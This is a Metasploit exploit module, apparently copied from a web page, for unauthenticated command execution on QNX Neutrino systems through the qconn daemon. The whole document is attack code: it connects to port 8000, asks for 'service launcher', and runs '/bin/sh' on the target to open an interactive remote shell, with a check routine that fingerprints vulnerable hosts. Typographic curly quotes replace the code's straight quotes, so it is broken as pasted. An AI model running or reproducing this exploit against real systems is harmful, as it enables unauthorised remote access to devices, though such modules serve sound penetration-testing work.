QNX Qconn Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘QNX qconn Command Execution’,
‘Description’ => %q{
This module uses the qconn daemon on QNX systems to gain a shell.
The QNX qconn daemon does not require authentication and allows
remote users to execute arbitrary operating system commands.
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
and 6.5.0 SP1 (x86).
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘David Odell’, # Discovery
‘Mor!p3r’, # PoC
‘bcoles’ # Metasploit
],
‘References’ => [
[‘EDB’, ‘21520’],
[‘URL’, ‘https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos’],
[‘URL’, ‘http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html’],
[‘URL’, ‘http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html’]],
‘Payload’ => {
‘BadChars’ => ”,
‘DisableNops’ => true,
‘Compat’ => {
‘PayloadType’ => ‘cmd_interact’,
‘ConnectionType’ => ‘find’
}
},
‘DefaultOptions’ => {
‘WfsDelay’ => 10,
‘PAYLOAD’ => ‘cmd/unix/interact’
},
‘Platform’ => ‘unix’, # QNX Neutrino
‘Arch’ => ARCH_CMD,
‘Targets’ => [[‘Automatic’, {}]],
‘Privileged’ => false,
‘DisclosureDate’ => ‘2012-09-04’,
‘DefaultTarget’ => 0,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => []}
)
)
register_options(
[
Opt::RPORT(8000),
OptString.new(‘SHELL’, [true, ‘Path to system shell’, ‘/bin/sh’])
])
end
def check
vprint_status(‘Sending check…’)
connect
res = sock.get_once(-1, 10)
return CheckCode::Unknown(‘Connection failed’) unless res
return CheckCode::Safe unless res.include?(‘QCONN’)
sock.put(“service launcher\n”)
res = sock.get_once(-1, 10)
return CheckCode::Safe unless res.to_s.include?(‘OK’)
fingerprint = Rex::Text.rand_text_alphanumeric(5..10)
sock.put(“start/flags run /bin/echo /bin/echo #{fingerprint}\n”)
return CheckCode::Safe unless res.to_s.include?(‘OK’)
Rex.sleep(1)
res = sock.get_once(-1, 10)
return CheckCode::Safe unless res.to_s.include?(fingerprint)
disconnect
CheckCode::Vulnerable
end
def exploit
connect
res = sock.get_once(-1, 10)
fail_with(Failure::Unreachable, ‘Connection failed’) unless res
fail_with(Failure::UnexpectedReply, ‘Unexpected reply’) unless res.include?(‘QCONN’)
sock.put(“service launcher\n”)
res = sock.get_once(-1, 10)
fail_with(Failure::UnexpectedReply, ‘Unexpected reply’) unless res.to_s.include?(‘OK’)
print_status(‘Sending payload…’)
sock.put(“start/flags run #{datastore[‘SHELL’]} -\n”)
Rex.sleep(1)
fail_with(Failure::UnexpectedReply, ‘Shell negotiation failed. Unexpected reply.’) unless negotiate_shell(sock)
print_good(‘Payload sent successfully’)
handler
end
def negotiate_shell(sock)
Timeout.timeout(15) do
loop do
data = sock.get_once(-1, 10)
return if data.blank?
if data.include?(‘#’) || data.include?(‘No controlling tty’)
return true
end
Rex.sleep(0.5)
end
end
rescue ::Timeout::Error
return nil
end
end